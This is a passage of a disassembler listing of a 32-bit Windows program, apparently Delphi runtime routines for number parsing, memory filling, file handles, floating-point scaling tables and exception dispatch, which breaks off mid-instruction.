loc_401803 dec ecx sub cx, 2 jnb short loc_401807 mov ebx, edx call ebx mov ebx, eax jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401803: ; CODE XREF: sub_4017E8+Aj xor ebx, ebx jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401807: ; CODE XREF: sub_4017E8+11j cmp eax, offset dword_40A20C jz short loc_401815 cmp eax, offset dword_40A3D8 jnz short loc_401819 loc_401815: ; CODE XREF: sub_4017E8+24j xor ebx, ebx jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401819: ; CODE XREF: sub_4017E8+2Bj mov ebx, 67h loc_40181E: ; CODE XREF: sub_4017E8+19j ; sub_4017E8+1Dj ... test ebx, ebx jz short loc_401829 mov eax, ebx call sub_401304 loc_401829: ; CODE XREF: sub_4017E8+38j mov eax, ebx pop ebx retn sub_4017E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401830 proc near ; CODE XREF: CODE:00405853p mov edx, [eax+1Ch] call sub_4017E8 retn sub_401830 endp ; --------------------------------------------------------------------------- align 4 loc_40183C: ; DATA XREF: sub_4018D0+Do jmp ds:dword_40B10C ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401844 proc near ; CODE XREF: sub_4018D0+14p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax mov eax, [ebp+arg_8] movzx edx, word ptr [ebx+4] and edx, eax cmp eax, edx jnz short loc_4018B6 push 0 lea eax, [ebp+var_4] push eax mov eax, [ebx+8] imul esi push eax push edi mov eax, [ebx] push eax call [ebp+arg_4] test eax, eax jnz short loc_401886 call sub_401140 ; RtlGetLastWin32Error call sub_401304 xor eax, eax mov [ebp+var_4], eax jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_401886: ; CODE XREF: sub_401844+2Fj mov eax, [ebp+var_4] xor edx, edx div dword ptr [ebx+8] mov [ebp+var_4], eax mov eax, [ebp+arg_C] test eax, eax jz short loc_4018A2 mov eax, [ebp+arg_C] mov edx, [ebp+var_4] mov [eax], edx jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_4018A2: ; CODE XREF: sub_401844+52j cmp esi, [ebp+var_4] jz short loc_4018C5 mov eax, [ebp+arg_0] call sub_401304 xor eax, eax mov [ebp+var_4], eax jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_4018B6: ; CODE XREF: sub_401844+18j mov eax, 67h call sub_401304 xor eax, eax mov [ebp+var_4], eax loc_4018C5: ; CODE XREF: sub_401844+40j ; sub_401844+5Cj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn 10h sub_401844 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: CODE:00407EFAp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push ebx push 0D7B2h push offset loc_40183C push 65h call sub_401844 pop ebx pop ebp retn 4 sub_4018D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4018F0 proc near ; CODE XREF: CODE:00407F09p push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_40192F cmp ax, 0D7B3h ja short loc_40192F and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_401917 mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_401917: ; CODE XREF: sub_4018F0+1Ej test esi, esi jnz short loc_401922 mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_401922: ; CODE XREF: sub_4018F0+29j test esi, esi jz short loc_401941 mov eax, esi call sub_401304 jmp short loc_401941 ; --------------------------------------------------------------------------- loc_40192F: ; CODE XREF: sub_4018F0+Ej ; sub_4018F0+14j cmp ebx, offset dword_40A040 jz short loc_401941 mov eax, 67h call sub_401304 loc_401941: ; CODE XREF: sub_4018F0+34j ; sub_4018F0+3Dj ... mov eax, esi pop esi pop ebx retn sub_4018F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401948 proc near ; CODE XREF: sub_407720+1Fp push ebx mov bl, [edx] cmp cl, bl jbe short loc_401951 mov ecx, ebx loc_401951: ; CODE XREF: sub_401948+5j mov [eax], cl inc edx inc eax and ecx, 0FFh xchg eax, edx call sub_401340 pop ebx retn sub_401948 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401964 proc near ; CODE XREF: sub_401780+Fp ; sub_406E6C+7Ep ... push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_401981 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_401981: ; CODE XREF: sub_401964+12j pop edi retn sub_401964 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401984 proc near ; CODE XREF: CODE:00407E8Cp push ebx xor ebx, ebx imul edx, ds:dword_409008[ebx], 8088405h inc edx mov ds:dword_409008[ebx], edx mul edx mov eax, edx pop ebx retn sub_401984 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4019A0 proc near ; DATA XREF: sub_4019C8+35o push ebx push esi mov ebx, eax mov word ptr [ebx+4], 0D7B0h xor esi, esi mov eax, [ebx] call sub_4015A4 test al, al jnz short loc_4019C1 call sub_401314 mov esi, 1 loc_4019C1: ; CODE XREF: sub_4019A0+15j mov eax, esi pop esi pop ebx retn sub_4019A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4019C8 proc near ; CODE XREF: sub_401AA8+5p push ebx push esi push edi mov esi, edx mov edi, ecx xor edx, edx mov ebx, eax mov dx, [eax+4] sub edx, 0D7B0h jz short loc_4019F4 cmp edx, 3 ja loc_401A8A call dword ptr [ebx+24h] test eax, eax jz short loc_4019F4 call sub_401304 loc_4019F4: ; CODE XREF: sub_4019C8+15j ; sub_4019C8+25j mov word ptr [ebx+4], 0D7B3h mov [ebx+8], esi mov dword ptr [ebx+24h], offset sub_4019A0 mov dword ptr [ebx+1Ch], offset sub_401564 cmp byte ptr [ebx+48h], 0 jz short loc_401A71 mov eax, 0C0000000h mov dl, ds:byte_40900C and edx, 70h shr edx, 2 mov edx, ds:dword_409070[edx] mov ecx, 2 sub edi, 3 jz short loc_401A53 mov ecx, 3 inc edi jz short loc_401A53 mov eax, 40000000h inc edi mov word ptr [ebx+4], 0D7B2h jz short loc_401A53 mov eax, 80000000h mov word ptr [ebx+4], 0D7B1h loc_401A53: ; CODE XREF: sub_4019C8+68j ; sub_4019C8+70j ... push 0 push 80h push ecx push 0 push edx push eax lea eax, [ebx+48h] push eax call sub_4010C0 ; CreateFileA loc_401A68: ; CODE XREF: sub_4019C8+C0j cmp eax, 0FFFFFFFFh jz short loc_401A91 mov [ebx], eax jmp short loc_401AA1 ; --------------------------------------------------------------------------- loc_401A71: ; CODE XREF: sub_4019C8+47j mov dword ptr [ebx+24h], offset sub_401564 cmp edi, 3 jz short loc_401A81 push 0FFFFFFF6h jmp short loc_401A83 ; --------------------------------------------------------------------------- loc_401A81: ; CODE XREF: sub_4019C8+B3j push 0FFFFFFF5h loc_401A83: ; CODE XREF: sub_4019C8+B7j call sub_4010E0 ; GetStdHandle jmp short loc_401A68 ; --------------------------------------------------------------------------- loc_401A8A: ; CODE XREF: sub_4019C8+1Aj mov eax, 66h jmp short loc_401A9C ; --------------------------------------------------------------------------- loc_401A91: ; CODE XREF: sub_4019C8+A3j mov word ptr [ebx+4], 0D7B0h call sub_401140 ; RtlGetLastWin32Error loc_401A9C: ; CODE XREF: sub_4019C8+C7j call sub_401304 loc_401AA1: ; CODE XREF: sub_4019C8+A7j pop edi pop esi pop ebx retn sub_4019C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401AA8 proc near ; CODE XREF: CODE:00407ECAp mov ecx, 3 call sub_4019C8 retn sub_401AA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401AB4 proc near ; CODE XREF: sub_401B14+4p var_26 = byte ptr -26h var_24 = byte ptr -24h var_10 = dword ptr -10h push ebx push esi push edi push edx sub esp, 14h mov edi, ecx mov esi, eax cdq xor eax, edx sub eax, edx mov ecx, 0Ah xor ebx, ebx loc_401ACB: ; CODE XREF: sub_401AB4+24j xor edx, edx div ecx add edx, 30h mov [esp+ebx+24h+var_24], dl inc ebx test eax, eax jnz short loc_401ACB test esi, esi jge short loc_401AE3 mov [esp+ebx+24h+var_24], 2Dh inc ebx loc_401AE3: ; CODE XREF: sub_401AB4+28j mov [edi], bl inc edi mov ecx, [esp+24h+var_10] cmp ecx, 0FFh jle short loc_401AF7 mov ecx, 0FFh loc_401AF7: ; CODE XREF: sub_401AB4+3Cj sub ecx, ebx jle short loc_401B02 add [edi-1], cl mov al, 20h rep stosb loc_401B02: ; CODE XREF: sub_401AB4+45j ; sub_401AB4+56j mov al, [esp+ebx-1] mov [edi], al inc edi dec ebx jnz short loc_401B02 add esp, 18h pop edi pop esi pop ebx retn sub_401AB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401B14 proc near ; CODE XREF: sub_407720+12p mov ecx, edx xor edx, edx call sub_401AB4 retn sub_401B14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401B20 proc near ; CODE XREF: sub_4043F0+6p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_401B96 xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_401B33: ; CODE XREF: sub_401B20+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_401B33 mov ch, 0 cmp bl, 2Dh jz short loc_401BA4 cmp bl, 2Bh jz short loc_401BA6 cmp bl, 24h jz short loc_401BAB cmp bl, 78h jz short loc_401BAB cmp bl, 58h jz short loc_401BAB cmp bl, 30h jnz short loc_401B6E mov bl, [esi] inc esi cmp bl, 78h jz short loc_401BAB cmp bl, 58h jz short loc_401BAB test bl, bl jz short loc_401B8C jmp short loc_401B72 ; --------------------------------------------------------------------------- loc_401B6E: ; CODE XREF: sub_401B20+39j ; sub_401B20+89j test bl, bl jz short loc_401B9F loc_401B72: ; CODE XREF: sub_401B20+4Cj ; sub_401B20+6Aj sub bl, 30h cmp bl, 9 ja short loc_401B9F cmp eax, edi ja short loc_401B9F lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_401B72 loc_401B8C: ; CODE XREF: sub_401B20+4Aj dec ch jz short loc_401B99 test eax, eax jge short loc_401BE2 jmp short loc_401B9F ; --------------------------------------------------------------------------- loc_401B96: ; CODE XREF: sub_401B20+8j ; sub_401B20+95j inc esi jmp short loc_401B9F ; --------------------------------------------------------------------------- loc_401B99: ; CODE XREF: sub_401B20+6Ej neg eax jle short loc_401BE2 js short loc_401BE2 loc_401B9F: ; CODE XREF: sub_401B20+50j ; sub_401B20+58j ... pop ebx sub esi, ebx jmp short loc_401BE5 ; --------------------------------------------------------------------------- loc_401BA4: ; CODE XREF: sub_401B20+20j inc ch loc_401BA6: ; CODE XREF: sub_401B20+25j mov bl, [esi] inc esi jmp short loc_401B6E ; --------------------------------------------------------------------------- loc_401BAB: ; CODE XREF: sub_401B20+2Aj ; sub_401B20+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_401B96 loc_401BB7: ; CODE XREF: sub_401B20+C0j cmp bl, 61h jb short loc_401BBF sub bl, 20h loc_401BBF: ; CODE XREF: sub_401B20+9Aj sub bl, 30h cmp bl, 9 jbe short loc_401BD2 sub bl, 11h cmp bl, 5 ja short loc_401B9F add bl, 0Ah loc_401BD2: ; CODE XREF: sub_401B20+A5j cmp eax, edi ja short loc_401B9F shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_401BB7 loc_401BE2: ; CODE XREF: sub_401B20+72j ; sub_401B20+7Bj ... pop ecx xor esi, esi loc_401BE5: ; CODE XREF: sub_401B20+82j mov [edx], esi pop edi pop esi pop ebx retn sub_401B20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401BEC proc near ; CODE XREF: sub_406350+A5p push esi push edi mov esi, eax mov edi, edx and ecx, 0FFh repe cmpsb pop edi pop esi retn sub_401BEC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C00 proc near ; CODE XREF: sub_404F3D+58p jmp sub_401C08 sub_401C00 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401C08 proc near ; CODE XREF: sub_401C00j push ebx xor ebx, ebx test eax, eax jl short loc_401C5C jz loc_401CAB cmp eax, 1400h jge loc_401CA1 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_401CB7[ebx+edx*2] fmulp st(1), st shr eax, 5 jz short loc_401CAB mov edx, eax and edx, 0Fh jz short loc_401C49 lea edx, [edx+edx*4] fld tbyte ptr byte_401DED[ebx+edx*2] fmulp st(1), st loc_401C49: ; CODE XREF: sub_401C08+33j shr eax, 4 jz short loc_401CAB lea eax, [eax+eax*4] fld tbyte_401E83[ebx+eax*2] fmulp st(1), st jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401C5C: ; CODE XREF: sub_401C08+5j neg eax cmp eax, 1400h jge short loc_401CA9 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_401CB7[ebx+edx*2] fdivp st(1), st shr eax, 5 jz short loc_401CAB mov edx, eax and edx, 0Fh jz short loc_401C8E lea edx, [edx+edx*4] fld tbyte ptr byte_401DED[ebx+edx*2] fdivp st(1), st loc_401C8E: ; CODE XREF: sub_401C08+78j shr eax, 4 jz short loc_401CAB lea eax, [eax+eax*4] fld tbyte_401E83[ebx+eax*2] fdivp st(1), st jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401CA1: ; CODE XREF: sub_401C08+12j fld tbyte_401CAD[ebx] jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401CA9: ; CODE XREF: sub_401C08+5Bj fldz loc_401CAB: ; CODE XREF: sub_401C08+7j ; sub_401C08+2Cj ... pop ebx retn sub_401C08 endp ; --------------------------------------------------------------------------- tbyte_401CAD dt 1.1897314953572317651e4932 ; DATA XREF: sub_401C08:loc_401CA1r tbyte_401CB7 dt 1.0 ; DATA XREF: sub_401C08+20r ; sub_401C08+65r align 8 dd 4002A0h, 0 dd 5C80000h, 40h, 0 dd 4008FAh, 0 dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0 dd 12F42400h, 40h, 96800000h, 401698h, 0 dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0 dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h dd 40h, 84E72A00h, 402A91h, 0F4800000h, 2DB5E620h, 40h dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h dd 403E8Ah, 0C5AC6200h, 41AD78EBh, 7A800040h, 0D726B717h dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah dd 404BA9h, 0CECCEDA1h, 4ED3C21Bh, 1484A040h, 59516140h dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h, 8F07D736h dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h db 40h byte_401DED db 96h ; DATA XREF: sub_401C08+38r ; sub_401C08+7Dr dw 8122h dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h dd 7A4AE1EBh db 95h, 0CFh, 45h tbyte_401E83 dt 9.9999999999999999996e479 ; DATA XREF: sub_401C08+49r ; sub_401C08+8Er db 0C7h, 91h, 0Eh dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h dd 3511626Eh, 0C37BCAAEh ; =============== S U B R O U T I N E ======================================= sub_401EE8 proc near ; CODE XREF: sub_4021A4+20p fninit wait fldcw ds:word_409010 retn sub_401EE8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401EF4 proc near ; CODE XREF: CODE:004057A7p push esi push edi mov edi, edx mov esi, [eax-2Ch] xor ecx, ecx mov cl, [esi] inc ecx rep movsb pop edi pop esi retn sub_401EF4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F08 proc near ; DATA XREF: CODE:0040104Co ; CODE:00403A18o ... push ebx mov ebx, eax mov eax, ebx call sub_401F38 call sub_401200 mov edx, eax mov eax, ebx call sub_401F5C pop ebx retn sub_401F08 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F24 proc near ; CODE XREF: sub_405A74+6p ; DATA XREF: CODE:00401050o ... push ebx mov ebx, eax mov eax, ebx call sub_401FB4 mov eax, ebx call sub_401218 pop ebx retn sub_401F24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F38 proc near ; CODE XREF: sub_401F08+5p add eax, 0FFFFFFD8h mov eax, [eax] retn sub_401F38 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F40 proc near ; DATA XREF: CODE:00401054o ; CODE:00403A20o ... call sub_4020E0 test dl, dl jle short locret_401F4E call sub_4020C8 locret_401F4E: ; CODE XREF: sub_401F40+7j retn sub_401F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F50 proc near ; CODE XREF: sub_4021A4+11Fj ; sub_402330+30p ... test eax, eax jz short locret_401F5B mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_401F5B: ; CODE XREF: sub_401F50+2j retn sub_401F50 endp ; =============== S U B R O U T I N E ======================================= sub_401F5C proc near ; CODE XREF: sub_401F08+13p push ebx push esi push edi mov ebx, eax mov edi, edx stosd mov ecx, [ebx-28h] xor eax, eax push ecx shr ecx, 2 dec ecx rep stosd pop ecx and ecx, 3 rep stosb mov eax, edx mov edx, esp loc_401F7A: ; CODE XREF: sub_401F5C+2Fj mov ecx, [ebx-48h] test ecx, ecx jz short loc_401F82 push ecx loc_401F82: ; CODE XREF: sub_401F5C+23j mov ebx, [ebx-24h] test ebx, ebx jz short loc_401F8D mov ebx, [ebx] jmp short loc_401F7A ; --------------------------------------------------------------------------- loc_401F8D: ; CODE XREF: sub_401F5C+2Bj cmp esp, edx jz short loc_401FAE loc_401F91: ; CODE XREF: sub_401F5C+50j pop ebx mov ecx, [ebx] add ebx, 4 loc_401F97: ; CODE XREF: sub_401F5C+4Cj mov esi, [ebx+10h] test esi, esi jz short loc_401FA4 mov edi, [ebx+14h] mov [edi+eax], esi loc_401FA4: ; CODE XREF: sub_401F5C+40j add ebx, 1Ch dec ecx jnz short loc_401F97 cmp esp, edx jnz short loc_401F91 loc_401FAE: ; CODE XREF: sub_401F5C+33j pop edi pop esi pop ebx retn sub_401F5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401FB4 proc near ; CODE XREF: sub_401F24+5p push ebx push esi mov ebx, eax mov esi, eax loc_401FBA: ; CODE XREF: sub_401FB4+1Bj mov esi, [esi] mov edx, [esi-40h] mov esi, [esi-24h] test edx, edx jz short loc_401FCD call sub_402C3C mov eax, ebx loc_401FCD: ; CODE XREF: sub_401FB4+10j test esi, esi jnz short loc_401FBA pop esi pop ebx retn sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= sub_401FD4 proc near ; CODE XREF: CODE:00405750p ; sub_405EC8+96p push ebx push esi mov esi, edx mov ebx, eax test ebx, ebx jz short loc_401FEB mov edx, esi mov eax, [ebx] call sub_402028 test al, al jnz short loc_401FF0 loc_401FEB: ; CODE XREF: sub_401FD4+8j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_401FF0: ; CODE XREF: sub_401FD4+15j mov al, 1 pop esi pop ebx retn sub_401FD4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401FF8 proc near ; CODE XREF: sub_402050+13p push edi xchg eax, esi jmp short loc_401FFE ; --------------------------------------------------------------------------- loc_401FFC: ; CODE XREF: sub_401FF8+1Fj mov esi, [esi] loc_401FFE: ; CODE XREF: sub_401FF8+2j mov edi, [esi-30h] test edi, edi jz short loc_402012 movzx ecx, word ptr [edi] push ecx add edi, 2 repne scasw jz short loc_40201B pop ecx loc_402012: ; CODE XREF: sub_401FF8+Bj mov esi, [esi-24h] test esi, esi jnz short loc_401FFC pop edi retn ; --------------------------------------------------------------------------- loc_40201B: ; CODE XREF: sub_401FF8+17j pop eax add eax, eax sub eax, ecx mov esi, [edi+eax*2-4] pop edi retn sub_401FF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402028 proc near ; CODE XREF: sub_401FD4+Ep jmp short loc_40202C ; --------------------------------------------------------------------------- loc_40202A: ; CODE XREF: sub_402028+Dj mov eax, [eax] loc_40202C: ; CODE XREF: sub_402028j cmp eax, edx jz short loc_402038 mov eax, [eax-24h] test eax, eax jnz short loc_40202A retn ; --------------------------------------------------------------------------- loc_402038: ; CODE XREF: sub_402028+6j mov al, 1 retn sub_402028 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40203C proc near ; DATA XREF: CODE:00401038o ; CODE:00403A04o ... mov eax, 8000FFFFh retn sub_40203C endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_402050 proc near ; DATA XREF: CODE:00401044o ; CODE:00403A10o ... push esi mov si, [edx] or si, si jz short loc_402070 cmp si, 0C000h jnb short loc_402070 push eax mov eax, [eax] call sub_401FF8 pop eax jz short loc_402070 mov ecx, esi pop esi jmp ecx ; --------------------------------------------------------------------------- loc_402070: ; CODE XREF: sub_402050+7j ; sub_402050+Ej ... pop esi mov ecx, [eax] jmp dword ptr [ecx-10h] sub_402050 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402078 proc near ; CODE XREF: sub_4058E8+Ap ; sub_405924+Fp ... arg_0 = byte ptr 4 push edx push ecx push ebx test dl, dl jl short loc_402082 call dword ptr [eax-0Ch] loc_402082: ; CODE XREF: sub_402078+5j xor edx, edx lea ecx, [esp+0Ch+arg_0] mov ebx, fs:[edx] mov [ecx], ebx mov [ecx+8], ebp mov dword ptr [ecx+4], offset sub_4020A1 mov [ecx+0Ch], eax mov fs:[edx], ecx pop ebx pop ecx pop edx retn sub_402078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A1 proc near ; DATA XREF: sub_402078+18o jmp sub_4021A4 sub_4020A1 endp ; --------------------------------------------------------------------------- mov eax, [esp+2Ch] mov eax, [eax+0Ch] test eax, eax jz short loc_4020BF mov ecx, [eax] mov dl, 81h push eax call dword ptr [ecx-4] pop eax call sub_4020C8 loc_4020BF: ; CODE XREF: CODE:004020AFj call sub_402330 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4020C8 proc near ; CODE XREF: sub_401F40+9p ; CODE:004020BAp mov edx, [eax] call dword ptr [edx-8] retn sub_4020C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020D0 proc near ; CODE XREF: sub_4058E8+25p ; sub_405924+67p ... push ebx mov ebx, eax mov eax, ebx mov edx, [eax] call dword ptr [edx-1Ch] mov eax, ebx pop ebx retn sub_4020D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020E0 proc near ; CODE XREF: sub_401F40p test dl, dl jg short loc_4020E5 retn ; --------------------------------------------------------------------------- loc_4020E5: ; CODE XREF: sub_4020E0+2j push eax push edx mov edx, [eax] call dword ptr [edx-18h] pop edx pop eax retn sub_4020E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020F0 proc near ; CODE XREF: sub_402330+35p cmp ds:byte_409014, 1 jbe short locret_40210A push 0 push 0 push 0 push 0EEDFADFh call ds:off_40A014 locret_40210A: ; CODE XREF: sub_4020F0+7j retn sub_4020F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40210C proc near ; CODE XREF: sub_4021A4+4Dp cmp ds:byte_409014, 0 jz short locret_40212C push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:off_40A014 add esp, 8 pop eax locret_40212C: ; CODE XREF: sub_40210C+7j retn sub_40210C endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_402148 loc_402130: ; CODE XREF: sub_402148+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:off_40A014 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_402148 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402148 proc near ; CODE XREF: sub_4021A4+FDp ; FUNCTION CHUNK AT 00402130 SIZE 00000015 BYTES cmp ds:byte_409014, 1 jbe short locret_402158 push eax push ebx jmp loc_402130 ; --------------------------------------------------------------------------- locret_402158: ; CODE XREF: sub_402148+7j retn sub_402148 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40215C proc near ; CODE XREF: sub_40217C+Cp test ecx, ecx jz short locret_402179 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_402174 cmp byte ptr [ecx], 0EBh jnz short locret_402179 movsx eax, al inc ecx inc ecx jmp short loc_402177 ; --------------------------------------------------------------------------- loc_402174: ; CODE XREF: sub_40215C+Aj add ecx, 5 loc_402177: ; CODE XREF: sub_40215C+16j add ecx, eax locret_402179: ; CODE XREF: sub_40215C+2j ; sub_40215C+Fj retn sub_40215C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40217C proc near ; CODE XREF: sub_4021A4+151p cmp ds:byte_409014, 1 jbe short locret_4021A2 push eax push edx push ecx call sub_40215C push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:off_40A014 pop ecx pop ecx pop edx pop eax locret_4021A2: ; CODE XREF: sub_40217C+7j retn sub_40217C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4021A4 proc near ; CODE XREF: sub_4020A1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 004022D0 SIZE 00000036 BYTES mov eax, [esp+arg_0] test dword ptr [eax+4], 6 jnz loc_4022C8 cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_402231 cld call sub_401EE8 mov edx, ds:off_40A010 test edx, edx jz loc_4022C8 call edx ; sub_405EC8 test eax, eax jz loc_4022C8 mov edx, [esp+arg_8] mov ecx, [esp+arg_0] cmp dword ptr [ecx], 0EEFFACEh jz short loc_402228 call sub_40210C cmp ds:byte_409018, 0 jbe short loc_402228 cmp ds:byte_409014, 0 ja short loc_402228 lea ecx, [esp+arg_0] push eax push ecx call sub_401110 ; UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_4022C8 mov edx, eax mov eax, [esp+arg_0] mov ecx, [eax+0Ch] jmp short loc_402258 ; --------------------------------------------------------------------------- loc_402228: ; CODE XREF: sub_4021A4+4Bj ; sub_4021A4+59j ... mov edx, eax mov eax, [esp+arg_0] mov ecx, [eax+0Ch] loc_402231: ; CODE XREF: sub_4021A4+1Dj cmp ds:byte_409018, 1 jbe short loc_402258 cmp ds:byte_409014, 0 ja short loc_402258 push eax lea eax, [esp+4+arg_0] push edx push ecx push eax call sub_401110 ; UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_4022C8 loc_402258: ; CODE XREF: sub_4021A4+82j ; sub_4021A4+94j ... or dword ptr [eax+4], 2 push ebx xor ebx, 